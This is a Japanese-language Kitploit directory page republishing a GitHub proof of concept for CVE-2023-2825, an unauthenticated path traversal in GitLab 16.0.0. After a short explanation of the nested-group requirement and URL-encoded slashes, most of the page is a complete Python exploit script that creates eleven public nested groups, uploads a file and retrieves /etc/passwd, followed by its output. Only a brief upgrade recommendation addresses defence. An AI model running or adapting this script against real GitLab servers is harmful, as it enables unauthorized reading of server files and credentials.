Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-2825-Gitlab — Pythonで記述された概念実証(PoC)は、少なくとも5つのグループ内にネストされた公開プロジェクトに添付ファイルが存在する場合に、未認証の悪意あるユーザーがパストラバーサル(ディレクトリトラバーサル)の脆弱性を利用してサーバー上の任意のファイルを読み取ることができることを示しています。これは深刻度が重大(クリティカル)な問題です。 | Kitploit
ツール/GitHubGitHub/tornad0007/cve-2023-2825-gitlab
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubtornad0007/cve-2023-2825-gitlab

CVE-2023-2825-Gitlab

Pythonで記述された概念実証(PoC)は、少なくとも5つのグループ内にネストされた公開プロジェクトに添付ファイルが存在する場合に、未認証の悪意あるユーザーがパストラバーサル(ディレクトリトラバーサル)の脆弱性を利用してサーバー上の任意のファイルを読み取ることができることを示しています。これは深刻度が重大(クリティカル)な問題です。

リポジトリを見る
183年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-2825

2023年5月23日、GitLabはバージョン16.0.1をリリースし、Community Edition(CE)およびEnterprise Edition(EE)のバージョン16.0.0に影響する重大な脆弱性CVE-2023-2825を修正しました。この脆弱性により、認証されていないユーザーはパストラバーサルのバグを通じて任意のファイルを読み取ることができます。この脆弱性は、バグ報奨金プログラムを通じてHackerOneでpwnieによって発見されました。

執筆時点では、公開された概念実証(PoC)は存在しませんでした。

GitLab アドバイザリ

認証されていない悪意のあるユーザーは、少なくとも5つのグループ内にネストされた公開プロジェクトに添付ファイルが存在する場合、パストラバーサル脆弱性を利用してサーバー上の任意のファイルを読み取ることができます。これは重大な深刻度の問題です(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0)。

サブグループ

この脆弱性には興味深い要件があります。プロジェクトが少なくとも5つのグループ内にネストされている必要があります。私たちのテストでは、グループの数とトラバースできるディレクトリの数に直接的な相関関係があることがわかりました。規則はN + 1のようです。つまり、10ディレクトリをトラバースするには11グループが必要です。

標準的なGitLabインストールでは、添付ファイルは/var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>にアップロードされます。そのため、ファイルシステムのルートに到達するには10ディレクトリ戻る必要があり、したがって11グループが必要です。

ファイルのアップロードとパストラバーサル

GitLabのissueに添付ファイルとしてファイルをアップロードすると、POST - /:repo/uploadにリクエストが送信されます。これにより、ファイルURLを含むJSONレスポンスが返され、ファイルにアクセスできるようになります。

ファイルURLは/:repo/uploads/:id/:fileで構成され、:fileはファイル名そのものです。:fileを任意のファイルパスに置き換えると、GitLabは要求されたファイルを返します。GitLabはこのファイルパスをサニタイズできないため、パストラバーサルが発生します。

この脆弱性を悪用するには、ファイルパス内の/をURLエンコードする必要があります。GitLabはこれを値として読み取り、内部でデコードします。エンコードしない場合、GitLabはファイルパス内の/をルートの一部として解釈します。

私たちのテストでは、/だけをエンコードすればNginxのパスエラーを回避するのに十分でした。

認証

認証されていないユーザーは、ネストされたグループの要件を満たす公開リポジトリでのみこの脆弱性を悪用できます。リポジトリ自体にアクセスするには認証が必要です。

概念実証(PoC)

以下はPythonで書かれた概念実証です。11個のグループを作成し、公開リポジトリを作成し、ファイルをアップロードしてから、この脆弱性を悪用して/etc/passwdファイルを取得します。

出力

$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

コード

import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup


ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"

# Session for cookies
session = requests.Session()

# CSRF token
csrf_token = ""

# Ignore invalid SSL
requests.urllib3.disable_warnings()


def request(method, path, data=None, files=None, headers=None):
    global csrf_token

    if method == "POST" and isinstance(data, dict):
        data["authenticity_token"] = csrf_token

    response = session.request(
        method,
        f"{ENDPOINT}{path}",
        data=data,
        files=files,
        headers=headers,
        verify=False,
    )
    if response.status_code != 200:
        print(response.text)
        print(f"[*] Request failed: {method} - {path} => {response.status_code}")
        exit(1)

    if response.headers["content-type"].startswith("text/html"):
        csrf_token = BeautifulSoup(response.text, "html.parser").find(
            "meta", {"name": "csrf-token"}
        )["content"]

    return response


# Get initial CSRF token
request("GET", "")

# Login
print("[*] Attempting to login...")
request(
    "POST",
    "/users/sign_in",
    data={"user[login]": USERNAME, "user[password]": PASSWORD},
)

print(f"[*] Login successful as user '{USERNAME}'")


# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")

parent_id = ""
for i in range(1, 12):
    # Create group
    name = f"{group_prefix}-{i}"
    create_resp = request(
        "POST",
        "/groups",
        data={
            "group[parent_id]": parent_id,
            "group[name]": name,
            "group[path]": name,
            "group[visibility_level]": 20,
            "user[role]": "software_developer",
            "group[jobs_to_be_done]": "",
        },
    )

    # Get group id
    parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
        "button", {"title": "Copy group ID"}
    )["data-clipboard-text"]

    print(f"[*] Created group '{name}'")

# Create project
project_resp = request(
    "POST",
    "/projects",
    data={
        "project[ci_cd_only]": "false",
        "project[name]": "CVE-2023-2825",
        "project[selected_namespace_id]": parent_id,
        "project[namespace_id]": parent_id,
        "project[path]": "CVE-2023-2825",
        "project[visibility_level]": 20,
        "project[initialize_with_readme": 1,
    },
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")

# Upload file
file_resp = request(
    "POST",
    f"/{repo_path}/uploads",
    files={"file": "hello world"},
    headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")

# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")

推奨される対応

GitLabは、この問題の影響を受けるすべてのバージョンをできるだけ早くアップグレードすることを推奨しています。

参照

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

ツールをダウンロード